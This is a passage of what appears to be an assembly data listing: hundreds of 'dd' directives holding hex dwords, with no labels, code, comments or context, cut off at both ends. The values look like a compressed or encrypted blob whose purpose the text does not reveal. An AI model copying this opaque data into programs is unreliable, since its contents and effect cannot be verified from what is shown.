1ADAD0B6h, 0E8B950E1h dd 0D0F1547Ah, 0B244FD63h, 0D6DD1716h, 370CD30Ch, 88D0094Ah dd 73D6D4F6h, 3C26FAAFh dd 3B15CDA6h, 9501CC59h, 5C332B9Fh, 0A180CFC3h, 6325EF31h dd 739CE617h, 70ECA322h, 25DC1C08h, 486D000Dh, 0AD494F41h dd 9CB04B60h, 80BA1A31h, 0D7126554h, 0DC04E2F8h, 6601C199h dd 0C4D71C5h, 0F7F8C01h, 89CE711h, 5680EA88h, 0C8A97118h dd 6F830C77h, 2550630Ch, 34C99E88h, 0F8800A57h, 0D599C2D4h dd 0BBA054C7h, 0F653867Ch, 30C4F2ACh, 0F4F0E97h, 0F939B480h dd 15ECA850h, 0FE70C6B6h, 11E31CAh, 3A415945h, 0FD687FEAh dd 7105A5E8h, 697B0236h, 526D4932h, 0E15CA069h, 10C1A8B5h dd 804C1749h, 6D59A82Dh, 22414328h, 5DAE001Bh, 0FBA6C2A8h dd 0A9194AABh, 0CB58603Ch, 0E01DDC2Dh, 0A794C0D5h, 5C343890h dd 221A4F22h, 3502164Ch, 0B58A36C9h, 0F77C402Bh, 92C5300Eh dd 0E02EE429h, 63E53327h, 7C3FD090h, 0C118056Bh, 82EE76E7h dd 0E9863040h, 31008019h, 56CFD0E6h, 25E3B7A3h, 5C66CAC6h dd 43253498h, 4CECE0C9h, 0AB69C418h, 22A9C01Ch, 2497C8E5h dd 0DB2015A8h, 9200AA47h, 0D10401DAh, 1FABA179h, 95DF643Dh dd 771E9078h, 9B61DE2h, 80A3DDB3h, 0ACE05418h, 14151E0Fh dd 90679Bh, 0CB5F69E5h, 0EF3AB51Dh, 90336C64h, 0ED4D30E0h dd 0B2AF64A0h, 958574Ch, 581B378Fh, 0F35D3044h, 0C63E4620h dd 12C4F401h, 28E4E996h, 0EA023026h, 0D84F09D6h, 0F310C031h dd 0FA24D6E1h, 1500CEEFh, 3031DE4Ch, 0FD9CFAE0h, 29BC56F2h dd 67DCD35Ch, 0A4BB1A70h, 8CAD0B2Eh, 0E00F5BA7h, 14044AE8h dd 3888335Ch, 55693E77h, 7030C64Ah, 0C3026146h, 804F0AD6h dd 0F410C231h, 0DE56D6DAh, 17583CF4h, 3C40054Bh, 0C9BB26CCh dd 7464485Dh, 7500F922h, 0EA0376EDh, 25DF51BCh, 0ECC83B02h dd 150333D1h, 7A97D2F6h, 9940D007h, 0E6C1FD1Ah, 2545430h dd 596AB447h, 0F06094DCh, 0B7E61674h, 7D696D0Ch, 146CD0B0h dd 0D8E65524h, 8C18B450h, 5AA82E04h, 2762306Dh, 0C326AF22h dd 0B78C9800h, 6CCA07D6h, 0D5714C30h, 0E874C4E4h, 189280ACh dd 0C91C0Eh, 80454AD7h, 6BFBEA76h, 0E23C8752h, 0E3A33021h dd 0D9AC2216h, 50085C16h, 2F5BC0E1h, 0EA21DE31h, 3529110h dd 0F300322h, 0F16412AAh, 3EDCE45Eh, 0DA84E704h, 0CB8BF1Bh dd 5D7D4909h, 49CF0C1Bh, 18164C91h, 0CA8582Ch, 704C6026h dd 0A80064A5h, 0B849AF5Dh, 40E0A94Fh, 9EEA3141h, 0AB70049Fh dd 4CA216h, 0DFD124CDh, 4B68BF30h, 10ACC145h, 7290326Fh dd 45F0702h, 7E1575A3h, 0FF1638CCh, 0CBEC40C5h, 0D6E6EFCEh dd 0DCDFE701h, 0C77D68E4h, 751C442Fh, 6034A1F4h, 0E307EB68h dd 5A49032Bh, 0E8B8AC84h, 8012807Dh, 465C0494h, 4C13E53h dd 66142B19h, 305DA082h, 0E11D6E7h, 1A84E04Fh, 0DEF803E5h dd 80C3EBD6h, 176FE1AEh, 4E8C6E7h, 5BAD47Ch, 9820FE34h dd 2C4ACDE5h, 4BC533Bh, 0A4211B01h, 64428C98h, 0B011D23h dd 0E89CC371h, 0F4403B19h, 5371145Ah, 50CF19D2h, 180840E3h dd 0E671080Eh, 0EFC6109Ch, 712AC071h, 0F0F2A9F6h, 0AE1605E0h dd 0D804DD88h, 0B501BED7h, 0BE55BC9Ah, 0D09208D0h, 3AB6172Ch dd 162023CCh, 0FF70001Ah, 0E1DB31B4h, 0A429532Eh, 482E37C0h dd 0BAA8266Ch, 25151DA8h, 6088282Fh, 0D5386300h, 0B411876h dd 0DB22C47Fh, 0B560D851h, 24A14961h, 80685FACh, 0A028FB30h dd 0E0BABDE1h, 145C349Ah, 9F7850A4h, 4C84133Ch, 0DA4C7A54h dd 0DE2B005Ch, 2F3910B2h, 0A1310CBEh, 3741ADE1h, 0B8204E00h dd 0DFA3F7CCh, 90D46486h, 0D55640B0h, 0C1385C2Ch, 0A3C5B611h dd 0F258227Eh, 72403050h, 2AF6A9ECh, 12A60203h, 16B403D3h dd 18A14F88h, 0D9A0E8F8h, 0E17C8C33h, 0C95F9047h, 55880E24h dd 1A4A714Bh, 0AF6C9EA4h, 0ECE3A442h, 522BC981h, 0B0466C08h dd 5516DB46h, 3ABC092Fh, 104D64B1h, 3E301D24h, 0AB0F916Dh dd 6E42385Dh, 147069D1h, 0D6E80651h, 0E183CCAFh, 0B005271Fh dd 8569780Bh, 77D0490h, 0F1260F1Ah, 0F2366FC6h, 803097CCh dd 1F12B094h, 5032DFEh, 0B8397178h, 305C16D4h, 0F87738E4h dd 0E11B62E5h, 1CE9E124h, 0A849F06Dh, 67875096h, 4DC35394h dd 3779001Bh, 36544EAFh, 0E371875Eh, 4F88E500h, 6E081DC0h dd 0B1A52799h, 28F3D46Eh, 1EF2080h, 912636EEh, 0C4E5772Ch dd 760110A2h, 120F94B7h, 5FF8833h, 8CA9A728h, 0E1E8414Dh dd 74EB65D9h, 0E8C262Ch, 4F0FD6E8h, 0E5198491h, 0D6DFF100h dd 0EF00877Ch, 0A94AAA95h, 556E0D3Ah, 0EAD988F8h, 1F6A06DCh dd 8FF5C19Bh, 0DBE378A2h, 0E886102Eh, 423D5B01h, 0FD33DF09h dd 40582C28h, 0E0B34079h, 0AE658800h, 26FEE641h, 5D4A0903h dd 8205C3Ch, 52B027EBh, 2EE86B79h, 54E7DA00h, 46CBCFD1h dd 6310058h, 78F325DBh, 0E12D22F0h, 0B7E46016h, 496027A1h dd 0E2570CC1h, 0A4E27F04h, 0C4304EE2h, 56C6003Ah, 41495401h dd 58C140F5h, 1ACCA99Ch, 262AE824h, 44C85594h, 710D6007h dd 189C23DDh, 64EC08h, 2711654h, 0E901BCBBh, 32689F67h dd 5ADAAD49h, 18332220h, 703BFC1Dh, 0D4466828h, 2C301E02h dd 14E7F2DEh, 30062500h, 50C63D8Ah, 0B225079h, 4A70D634h dd 195F2C26h, 0D720A490h, 10565C26h, 31028C71h, 886D55A8h dd 0AA001640h, 4ED6A861h, 1250E352h, 20E42220h, 3CA1C9C0h dd 48242094h, 4981802Eh, 81E53555h, 9A383DF8h, 4BDF1624h dd 2BF0F0C1h, 80A666F0h, 715918FDh, 5ADE292Fh, 128C0E8h dd 7E010530h, 3F274507h, 2F47657h, 67883E20h, 0F31090DCh dd 21182019h, 29F112FBh, 69483D18h, 85303853h, 8261575Ch dd 1D77C8C1h, 4BB42000h, 893A723Ch, 22A5EDC9h, 50C5438Ch dd 2AC43CA8h, 0F0B93309h, 0C1C30C84h, 0AFE143A0h, 0E04411h dd 178A1536h, 10EFEEB9h, 57068314h, 9E2160A3h, 0CA2378Bh dd 1432553Bh, 9C3EDEA9h, 90E5B7D1h, 4C884D04h, 2F8A3B93h dd 78610573h, 437C9713h, 0F1375CA4h, 0B7474101h, 52742E1Dh dd 4FA24823h, 0B8B330h, 273F6F0h, 37C347FFh, 5C501BECh dd 76888FC0h, 0CEB927A1h, 52ABC404h, 0C02A6C08h, 4F0BD6C4h dd 0D808843h, 0DF10D6DCh, 71072372h, 0DE51ADEEh, 0D6197572h dd 8BCA001Ch, 5DD1701Fh, 0C4B81A5Ch, 9C016601h, 250E4C31h dd 0BA146058h, 0D5442CB6h, 2D301F60h, 110ADE23h, 7260054h dd 4A2C9430h, 0DA232D2Bh, 6FC54868h, 5DDC0E54h, 4249100Bh dd 27819D2h, 8C15A470h, 1FA82B1Eh, 0D88B5852h, 0A863A400h dd 0C20E5AB5h, 7820A971h, 0D03B5ABEh, 0D275F194h, 44FF1228h dd 1B499200h, 0DC785E54h, 886F5814h, 37A72980h, 4C303292h dd 0CB38D9E0h, 0B8147877h, 1381C4B4h, 0FDF4B498h, 0D8F62CA0h dd 0EEA5F00Fh, 5704A5F1h, 7CA298C4h, 2A304EF2h, 0DBA30B48h dd 0CC806A69h, 3D23DDABh, 0E001EC4Fh, 211995C8h, 4420CF02h dd 9E8C035h, 392AFD14h, 9C09F466h, 4228B7C9h, 0D9EA4264h dd 18E77148h, 0E32226F9h, 41B74078h, 61825AE9h, 203C5010h dd 8CDDB8h, 662882BCh, 1B4C70E5h, 0A7ACDE3Fh, 54C2594h dd 1E8064ECh, 0F51AA548h, 5882BD14h, 40685284h, 0A27536AAh dd 180370A1h, 0E9710809h, 0F0C4789Ch, 7160584Fh, 4176EA95h dd 60C7E106h, 4990A7Fh, 0F3269E35h, 0F0E2C5h, 0C24A0CF4h dd 1DF7C8Ch, 0F6537A4h, 61B17596h, 3E482CA2h, 99348B25h dd 9E44787Ch, 5C744A98h, 30002146h, 6DE632FCh, 0BDEAA622h dd 0F231EC90h, 57930858h dd 59B8103Dh, 8AA58407h, 9AC0684Dh, 49B4A1A2h, 0E5CCA451h dd 8E092F09h, 48005B5h, 40402420h, 0BD90F0A4h, 97D67600h dd 6E8D4254h, 0E26C0B11h, 4C796260h, 23150E00h, 7784B4DDh dd 0D277E0E1h, 48608799h, 0DD475482h, 0D046E7h, 0AC597BBFh dd 490594C8h, 97CEE402h, 0D2E72396h, 88135E98h, 92F89164h dd 0B4A07300h, 60FB3179h, 61B00EE6h, 0DC021442h, 0BC62C99Eh dd 41CF8C81h, 743428B5h, 0A94A6B1Fh, 0E8235D56h, 6F0BEC13h dd 780034F2h, 2C4EEF33h, 0F7121Ah, 2173742h, 6DBD5879h dd 0FDCD8317h, 0DC3590D0h, 86F2E0h, 8C99D861h, 69B979C8h dd 6E40E501h, 66B56FDDh, 3014E452h, 5608A832h, 6440906Dh dd 2AAB4128h, 0B0FF1DA8h, 0E201A5F3h, 52807FAFh, 0E005E095h dd 0F01FBD9Bh, 7CFB9E28h, 0D9E500C4h, 842BA6Ch, 25C9176Eh dd 3340C110h, 1C3C3D95h, 24C9979Eh, 0D18E0C23h, 28A91449h dd 7B9C9052h, 0DEAC40DEh, 992BC474h, 0B3CB7922h, 0AA3BF070h dd 9C2CBA0Eh, 0A0A9E393h, 94780E61h, 6704B987h, 0B394C17Bh dd 159DD5E7h, 8AC2A0B0h, 0C0586C60h, 182B58A0h, 40F23D81h dd 0B4B4EF04h, 42458B28h, 264474C4h, 80BC964Dh, 34A8A1C8h dd 7F03EAF5h, 0FA07542Ch, 3B581381h, 84A88913h, 511CF190h dd 0C529F422h, 601BE4B4h, 0F35D2Dh, 6C7E00Fh, 6FEB178Ch dd 0ABA9D112h, 20713CB4h, 0F67D64E8h, 0ECC1BB2Ch, 93B48C42h dd 2A9E680h, 0A9975B30h, 10F4299Ch, 0D80829BCh, 917895A5h dd 85DF8054h, 27330639h, 3818385Ch, 0A8C0AAE9h, 352463E5h dd 0AD3327E6h, 53EF1002h, 0E7A78CE9h, 518425E0h, 93130CA8h dd 5CF134A2h, 7B1A8400h, 19A71EEh, 31C5DC4Dh, 0FDA75B97h dd 305C40A0h, 7702E20Eh, 8C794B24h, 595CC408h, 0A871404h dd 709CD271h, 13510E1Ch, 39E00971h, 0EF87A64Eh, 639F5601h dd 0EE894BBEh, 156DC884h, 38849105h, 0B5C9E08Dh, 6680097h dd 603D2EA1h, 0E5439958h, 6607A203h, 0FADC4BADh, 33406A80h dd 2E02018Bh, 556DAE9Ch, 0BC0C2861h, 0BB008C1Bh, 24093A69h dd 0CF01E08h, 1F4CB6B8h, 0E000D7F1h, 533F5F9h, 2837367Fh dd 0F5D4564Bh, 100A183Ch, 0DE94B5C5h, 0A57E8A00h, 7FB9F9E8h dd 21AA17E7h, 0F90D0FDh, 947DD22Fh, 697EDE00h, 4F41B22Dh dd 0E1EC0B3Fh, 6C209C54h, 89700D5Ah, 0DA0E989Eh, 0F230EB4Bh dd 1B1D1064h, 0B4B72821h, 28C4E2B0h, 0F0B278B8h, 953027F2h dd 0A99E0282h, 0EBF41F83h, 47A6E440h, 0F6DD9B15h, 0C5C840F0h dd 68446E4Ah, 1CC74FC6h, 90A8BCC4h, 0F794CAA0h, 7C1F691Eh dd 68EFDCCBh, 824BD428h, 0EB7958D1h, 0DA003618h, 96B414D9h dd 0C110B8A9h, 9813B758h, 693024BAh, 890DD030h, 0BF8DA16Dh dd 23E0D403h, 2B0331E2h, 13793112h, 0A2E8418h, 4F389C00h dd 19B1C217h, 9DE03913h, 0CB793C04h, 829F7021h, 0D7C99C31h dd 0FC30680Ah, 7CA91595h, 213A5027h, 7B255E40h, 77484045h dd 13575AA1h, 0C86C8BB8h, 2B14C04Fh, 8B12F388h, 68F0E07Dh dd 9EAB04AAh, 4B35FD1h, 34F3E574h, 92314AA2h, 34BEE60h dd 0ABB7831h, 4D89569Eh, 19F98023h, 0D09DC6C4h, 8E1B073Eh dd 8360E1E2h, 4C91A950h, 9C347E18h, 9D8300C4h, 590FC877h dd 2E3303D4h, 57EBE66Ch, 138CC88Dh, 0D00E18A2h, 9A95C483h dd 21016DF3h, 7FE5C5CAh, 689B9CDCh, 0E3A2E8B5h, 1FE02C4Dh dd 38A9BE2h, 69E62AD1h, 1EF8D557h, 2F75C6E8h, 0B1F89A12h dd 0CDB5C13h, 0E5BAB980h, 0A15C55D7h, 242773E4h, 1A9C915Ch dd 0DF04A063h, 14146543h, 4CB2A410h, 673049B2h, 84500015h dd 7E708995h, 0B800EE78h, 3280B264h, 95455149h, 13102410h dd 59ACB984h, 319E181Ah, 71C0A307h, 7ED41185h, 52F2A862h dd 1205031h, 35D12663h, 0E3658470h, 0D8FC81EDh, 80B60027h dd 11405E5h, 8CDFD478h, 99136DACh, 0A041C01Dh, 52CAC69Bh dd 4A6E3F0h, 0D1701E0Fh, 6528E085h, 631CE201h, 5D714918h dd 9C0C6868h, 4B690FE1h, 314EE690h, 276194CCh, 0A0A04A5Ch dd 0D761546h, 0FD2D1A09h, 0BBF8A3CCh, 0E73BB949h, 95DFAC0h dd 0D82F6EABh, 31EC9788h, 9DC5FEF1h, 11801531h, 38BADE61h dd 0BE2806CCh, 5820FB6Ch, 0F076E024h, 0B4168F0Fh, 0F9EC1184h dd 43343048h, 25D8AC51h, 224CF216h, 5890C081h, 3C0D94B1h dd 0B8D03155h, 9F785Eh, 0CE0C4A4Fh, 0A621D60Dh, 34AC2977h dd 3B4D9722h, 1D2133DEh, 21D0B11Fh, 46A42092h, 29F9B7D2h dd 59C11034h, 5CA6BFC8h, 21C4674h, 0CB084F21h, 80409E90h dd 0A5F1BFE4h, 4C219140h, 7BE70478h, 5CA218D5h, 0D8828A74h dd 88084788h, 0E46D1659h, 8908D8ECh, 80244E01h, 0B9DEE520h dd 0BC003CFBh, 0A89B68A9h, 2AB6226h, 0E82EE7FDh, 54913D7Bh dd 0CB0410C7h, 235913C5h, 832C04E6h, 0CA5600F0h, 90588C9Eh dd 200209C8h, 34F98250h, 7708C051h, 0C4A59924h, 5488DE92h dd 0C5710F79h, 6C811A3Dh, 842BE782h, 50E64558h, 64C8700h dd 0E1259EE0h, 71584877h, 0C910FFD5h, 9A9F40F8h, 84B8075Ch dd 0CC8D2F38h, 319BFDB8h, 70D12BACh, 7006B139h, 88A6D975h dd 0A2F05D25h, 35B74D8h, 8AE88694h, 99977372h, 4200DACh dd 2C608ABAh, 1098046Bh, 748212F0h, 64F90B90h, 0E5640CE7h dd 0F0618E60h, 8F027873h, 0A9F2367Ch, 5EDC5E04h, 80E51B21h dd 99F39FFCh, 0E1723664h, 0E582D805h, 3CE17970h, 51ADDA30h dd 74EAA422h, 319C84F4h, 0BC00E0A4h, 0D214EE04h, 0AC1220E3h dd 30B49370h, 503B4CDFh, 0A2A01F80h, 2A00D337h, 3326F86Eh dd 0F6852E3h, 0AE51649Eh, 5C41ED6Ch, 0C7F29B03h, 810F2662h dd 0FC293CD4h, 0A4171800h, 9BD33088h, 9A387F00h, 932EDE57h dd 5081741h, 0B2002548h, 0B1821D88h, 6D2A5EC0h, 58B40CECh dd 310228DFh, 2DFF092Fh, 1097B044h, 12969450h, 95AA1EAh dd 0D889937Ch, 0E5796CD9h, 0C8A36E18h, 95E04B93h, 0AE1E65EDh dd 12D62D3Ah, 0F9213804h, 4168E301h, 0F8B204A3h, 0BF304FF2h dd 0BC920081h, 0CBD7A12Dh, 6A019F94h, 9BBE34A4h, 0B824820Dh dd 0C1F129D1h, 1854D134h, 0F4C50292h, 0C1FD33AAh, 7CE098AFh dd 6B097661h, 83C73B07h, 54A0EFE7h, 8C0407h, 0E0325B4Eh dd 0DA84C286h, 5880B74Dh, 496300D8h, 723F6554h, 14D612EBh dd 0CC981705h, 564BDA4Ch, 0D4C85CD0h, 374C0084h, 0AE6F7871h dd 0CC7EC668h, 0C0470524h, 0D4CEC404h, 9587FC81h, 108C2F2Fh dd 80C064EEh, 0D93A1E19h, 0F0508326h, 338CE51Dh, 0B6B4AEEAh dd 1D465E48h, 0AC3DF000h, 1F474082h, 0E423CA12h, 0B8F150F5h dd 0B0961200h, 6038A12Dh, 51B9E18h, 7D696E16h, 0B1DC47ACh dd 0D2818477h, 0FCE01560h, 0CA17DDA7h, 549ABD10h, 0AA1CEEC0h dd 48A314ACh, 0C0085782h, 9892D907h, 191BFCC0h, 942890E0h dd 45E31CECh, 0A0D14BDDh, 705767Ch, 25017BDBh, 48FA4F4h dd 5BEFD34Ah, 6D6CF433h, 9C9ECCB8h, 0C0B77F0Ch, 0E4C8C814h dd 0B6040F8Ah, 0A402A116h, 7E62EAA2h, 9E00DCE8h, 0F395D835h dd 72B546EDh, 0A2554EDFh, 0CE007060h, 0E6A7A1D1h, 57DBDEh dd 0FC82B183h, 9B3986B6h, 9381560Fh, 0C8E68AF3h, 0C7418549h dd 40A2C825h, 0A9301CF2h, 0E43093Eh, 30E84D1Bh, 0D400E6F1h dd 0E9951C50h, 6D255BDh, 0A5716D4Bh, 0F2670B4h, 56118C47h dd 7F011D07h, 0D19B804Ah, 61E5507h, 4B025B5Dh, 0B7D5B323h dd 0A21B8C9Ch, 0CB6BDC42h dd 94040319h, 0F6BCB0F5h, 13CC4E31h, 0D198E1CCh, 0E0E205FCh dd 6F304AF2h, 0CC3F3EADh, 0B3FB8A80h, 0A9B14F8Fh, 8C60C024h dd 54FDE944h, 0ED5CF1ACh, 4BDF0FD0h, 4717F01Fh, 0BF2102C1h dd 909D6709h, 61E51A08h, 0F4C354F2h, 0E014D98h, 781DF97Eh dd 6C25B569h, 216A49CDh, 70660994h, 6140CD5Ch, 0CB654BB5h dd 0E4C4C4C8h, 75EED930h, 0EFDA7D13h, 7A02A45Eh, 0C86BB319h dd 5C03858h, 2D47DDF7h, 0C86F1Eh, 9D7A1A38h, 13344794h dd 1A8D9693h, 2C5ED64Ch, 0CC54C692h, 0B093CA8h, 0C4ED517Bh dd 88E5E824h, 6440E8A9h, 4F8CEC96h, 0F76C221Eh, 0FC642Bh dd 0FA91D47Bh, 9338ACDBh, 3014AA00h, 0E4DF05F3h, 0A89D0041h dd 8179748Ah, 18060A08h, 0C0D9A0E8h, 788CB391h, 74072CDFh dd 6A7ED211h, 0D8F68833h, 5280516h, 9EAC22D1h, 0A9DC02C5h dd 5CD044A1h, 0E9971212h, 0C010202Fh, 535CC0E4h, 4354C75h dd 0C99E1CA5h, 28B8FBh, 0DC093C56h, 4B22CD59h, 0A92420E5h dd 3481B97Ch, 0E0309C31h, 0A5FA885Eh, 0F52CFF1Dh, 302AA941h dd 1EE15423h, 97B5E7C0h, 0C208941Dh, 567762E4h, 6962D486h dd 923DE09h, 0E130E81Dh, 14C89DA6h, 0C900CF5Eh, 0FD2E673Fh dd 95B7224h, 9CA94AEFh, 44B59C60h, 4D79A70Ch, 0B86B1142h dd 0D93F3F8Ch, 0D000985Ch, 6C298EB0h, 48641144h, 0CCF93C68h dd 2CA99C09h, 7CC90461h, 0E51010B0h, 145C3884h, 26E81234h dd 8B53B4C8h, 0E38D5825h, 779BE29Ch, 3A001014h, 98C6F121h dd 31E19EE2h, 0C54819B7h, 0C40C386Ah, 740D052Fh, 282F7A38h dd 5A135123h, 22C5F889h, 0F73EA0C7h, 0F26A0041h, 12AB6A8h dd 995B98EEh, 10044412h, 38ACD0A9h, 9DE52B00h, 9FD9318Ah dd 9150179Dh, 0E625871Dh, 0B059A303h, 6FFBD19Eh, 31C0D811h dd 95325C18h, 0E80431D3h, 6CC07A8Ah, 5D4DF19Dh, 2F4F2498h dd 0EE8239Ch, 0DCC3936Ah, 6C699E7Bh, 605179h, 0E236D270h dd 74FA424Ch, 0C84645Eh, 2188B8CEh, 0FDDC8BC0h, 308D506Fh dd 0DCEC94E4h, 0E1389900h, 43328CA0h, 0CA114B1h, 293EC848h dd 16F789Eh, 1970C566h, 0ECFC2C60h, 29028CE8h, 3D9B5FA7h dd 1F947824h, 58C5670Ch, 2F314992h, 44DCA92Fh, 4F181604h dd 90381841h, 76486025h, 0B7F11080h, 80365C14h, 0AD701782h dd 0E8043054h, 0DCC1F17Eh, 0B804E461h, 8CC4BC50h, 2C397104h dd 78B0929Fh, 0B8E0658Ch, 54880D61h, 6B3441B9h, 0EC677AC1h dd 7BD9F650h, 0F9D3C44h, 66C8CC4Ah, 25F99B25h, 2CA83A3Ch dd 7C8C51BCh, 41DC1A0Fh, 684089CCh, 234BA943h, 30849043h dd 6FE4E7h, 0BFF3F190h, 95E9FD12h, 7804035h, 8BA135BFh dd 0CDBC02B2h, 1D4DBE4Bh, 4F53D920h, 0C8C90048h, 0DFF0F16Bh dd 1B62CD43h, 80A113C0h, 494C696Ch, 0C29D73h, 6FB4987Fh dd 280D60A1h, 349D0776h, 40617231h, 0B02313F1h, 3E3120E2h dd 4C8CD2DCh, 824BC530h, 0A0ABCB0Ch, 4DD16871h, 0C9004418h dd 0DD699AA4h, 0C5839923h, 90364DA8h, 97D21E7Ch, 0D00B175Ah dd 2C44C1FCh, 0A94C05D2h, 0F22A00C0h, 0D770FAACh, 0A9761257h dd 0C43C310Fh, 34A0E59Eh, 0F7055740h, 0D6325BD3h, 0D98438F8h dd 55949CDFh, 10A8C09Dh, 43492C42h, 0B2EC893Ch, 0B59FB802h dd 0A99E5C7Eh, 646450D6h, 185FF8C1h, 0F8494B01h, 39F959DDh dd 16EB858h, 330B7ACBh, 6F25344Eh, 0EF927C05h, 53F9004h dd 0CF4CB500h, 7F02487Ah, 9B7BDA83h, 9DA88958h, 801A111Ch dd 0B7EAC975h, 2795A43h, 19696DA0h, 0FE09ECD4h, 0E16C2F55h dd 526AF2A3h, 71390432h, 9451E1E9h, 1518E579h, 32253D02h dd 7675EC60h, 0B0CA4078h, 1A028B99h, 23C62E69h, 172860AFh dd 991C925Ah, 0E37D00E0h, 93D3853Eh, 0CCF6D02Ah, 41680F0Ah dd 0ED41F4C4h, 3072E222h, 8CA9B104h, 3F3C0252h, 76D05ECEh dd 65005146h, 97424903h, 0B0B8CDECh, 1E02944h, 47D092D5h dd 7819210Fh, 8C4DBC0Ch, 598F2800h, 200352B5h, 0DDFF059Ch dd 4A7EC97Bh, 82A8A484h, 1F8BDA84h, 1940A044h, 7CACBCBCh dd 0FB002046h, 0DC4A7D46h, 0A913A0CCh, 2CD12924h, 3C015A8Ch dd 0DE4864ABh, 84587B7Ch, 11608870h, 32140954h, 0EF941848h dd 0F640D61Fh, 4BBE078h, 7864B5A8h, 648BF402h, 0D5946AF0h dd 0FE377490h, 0B48A83Dh, 377F2A1Dh, 5C2E0034h, 0E1CD663Dh dd 21FBBB14h, 975509F8h, 0B248412Bh, 7D9B6810h, 0C7802251h dd 0F84C5CA0h, 2F445B5h, 833D4BDEh, 2EDD5500h, 127C7885h dd 1140D25h, 0C8A210F9h, 9DB0535Fh, 67123805h, 0FC41B59Bh dd 8FD27CC3h, 4F3C026Bh, 0F0DAEB49h, 1A63C910h, 0A15C0F7Bh dd 4AF043D9h, 437BA82Fh, 0E3800E4h, 3DA4CECBh, 0C5C85AE3h dd 23683B6Ch, 53D40050h, 7AD76CD9h, 291CB700h, 782B0F2Fh dd 0C8594BBDh, 0E6000CD0h, 4D6BC702h, 0CDAFB9h, 0CECAA495h dd 0A0E755D1h, 8D40E101h, 7A066321h, 0EF02EFECh, 0B594042Fh dd 0D0D4D0B9h, 0E003314Eh, 0EBA79C7Eh, 0AE0EA0E3h, 4CEC0588h dd 0E979A241h, 730F0098h, 53A962E8h, 2EA1F607h, 4BC8CC2Dh dd 5180C000h, 755F7BE8h, 68B86C24h, 2C49FC10h, 0B913859Eh dd 6608BCF9h, 4C9EDD3Dh, 33287F08h, 69C18E10h, 28CC04B4h dd 80B372C1h, 8D314149h, 10395942h, 24A100F6h, 0C0B458CEh dd 175908h, 0AF6EDBDFh, 3D317F75h, 7EA1A85Eh, 1E84887Ch dd 20F616E5h, 4A2952E0h, 0EA2D8600h, 370288C6h, 204F285Eh dd 0C5245F80h, 0C8C4CB54h, 0BE70C3EEh, 2E1333A8h, 82F7B01h dd 0F737D19Eh, 726E6835h, 98A98EA0h, 9070FCF3h, 0FB5E4CCEh dd 6AB70976h, 58F03BC6h, 581E3920h, 887318E5h, 97096649h dd 0C4B538A9h, 7C044D44h, 0E7BCEC49h, 6BC06D00h, 0E369E5FCh dd 935FACBh, 0B7ED16Fh, 81086059h, 9CF92766h, 6A66301h dd 0BCFCD8A5h, 6F890276h, 4CEE8A34h, 54943846h, 0F0465Eh dd 157CCE8Ah, 17AA9513h, 0E34D7922h, 0C9770C5Ch, 17E0A153h dd 90F07543h, 79490420h, 0A007094Bh, 2795327Eh, 992AC4D0h dd 4000970Dh, 6A480611h, 81AB8800h, 3CFE7D25h, 0E82F4CEBh dd 0F4178FC7h, 0E80C855Ch, 629F0590h, 34CEB11Fh, 0FDC0EF88h dd 3EE0ADCCh, 4C82614Eh, 9F3422A6h, 0C7216860h, 0D4FC9684h dd 59DA1A2Dh, 0C5CA0254h, 0A8F04B41h, 20CD7B17h, 68E5CC20h dd 34231E3Dh, 5F120182h, 48EF9D9Bh, 0F098DFA0h, 98881741h dd 0DE03A84Dh, 26226933h, 0A7C06819h, 53441447h, 0B703E160h dd 292770FEh, 1B8868DFh, 0CC398360h, 42D12D5Eh, 268D998h dd 14C61D0Dh, 5A9664C0h, 0A40C4C03h, 0E2A825C5h, 8E10D493h dd 5454833h, 94884081h, 34BECE84h, 48B968D2h, 62961316h dd 94A06D88h, 325541F7h, 3C9C62FBh, 25054498h, 5CD9C556h dd 0ACFD3A00h, 55A1A17h, 74062C0Eh, 0E80CF8EAh, 0C5028C4Dh dd 0C96955F5h, 3DE8E002h, 1521C063h, 0DC0EC11h, 65663614h dd 98032AC8h, 10B19DFEh, 0A27EE809h, 13EE65B4h, 0D6DE60FCh dd 0B84F2F0Dh, 0D5F44816h, 71EBD600h, 0CF69480Ah, 0A452000Fh dd 4B15A37h, 74FD41A1h, 2D2E340Ch, 0E06E74B7h, 7ED5AC09h dd 20CB4BD2h, 325C12A4h, 9138F20h, 0A9897177h, 2EE8C49h dd 7CCCD452h, 82E4DD21h, 0BE42ECB2h, 855708C0h, 0A1173879h dd 3091B71Ch, 909FAF40h, 0BE800421h, 1050E9CFh, 9402191Dh dd 4E078C9Eh, 36D021DFh, 1E70DFF6h, 0A24C0221h, 299BDDA3h dd 2F6C05DDh, 759C04BAh dd 996D0122h, 9C7BA549h, 0AA157704h, 4AC8AEFDh, 0B9E0C8E6h dd 84017856h, 9ECAE033h, 496F3F92h, 0C0524C68h, 0B800FCE6h dd 0FD81A793h, 0BE1114h, 0AD456CC7h, 289FF8F4h, 0C93F3500h dd 0C247540Fh, 314B4E4Ch, 12DFE1ECh, 7978D26Eh, 80EB0118h dd 0B563109Fh, 366BFC24h, 0A4B24500h, 6A959091h, 0DD4D345Ah dd 6F6C9089h, 0C516680Ch, 74D08071h, 83B2CC31h, 216B7811h dd 4D82AC06h, 0A8BE41FDh, 75DE8340h, 437A26h, 3AFD8C94h dd 0F2BAB838h, 0A293FE04h, 94E4A684h, 39AC6098h, 9F5D3D5Ch dd 494C8B06h, 9668247Fh, 0A000DC10h, 391769Ah, 446F5866h dd 987BB5DAh, 0F062B14Bh, 1CCD2B0Dh, 63F1D9C0h, 153E630h dd 73A11250h, 6A6D68F7h, 689B1C4Eh, 9A4D0C1Ch, 3CBC3BA9h dd 0F48C2E80h, 28BDBE07h, 0FCB3068Bh, 4144C26h, 8C1BE8h dd 892561FCh, 45A623BEh, 647C7B70h, 713F5A03h, 0C0C6F411h dd 4E31E3D2h, 0AF64C2A3h, 950D6910h, 0C5B56001h, 0E8906E4Ch dd 7473EB28h, 0B9400F8h, 0AF9AD1FBh, 1900CEA5h, 0D5ED903Fh dd 2E4E663h, 0A177579Dh, 0F00BB491h, 0D0609754h, 0C0905AC5h dd 4D80817Dh, 226B5EC6h, 5090DA8h, 0D8C31740h, 649900CAh dd 78ED363Ah, 0D21337ADh, 1482D3FBh, 0C99C2059h, 28B61157h dd 0F80DDCFh, 0FE2A3DD4h, 189FBFF6h, 60E4C008h, 0ED1300Ch dd 51545C27h, 0E9948084h, 952C8FFAh, 2FC88958h, 3A24E833h dd 0D76B02A9h, 17E17016h, 0FD7BE800h, 4C44B780h, 349B8D74h dd 0EAA15D8h, 20D87140h, 1CD7A720h, 137864D5h, 0E878E103h dd 0D22EE7F8h, 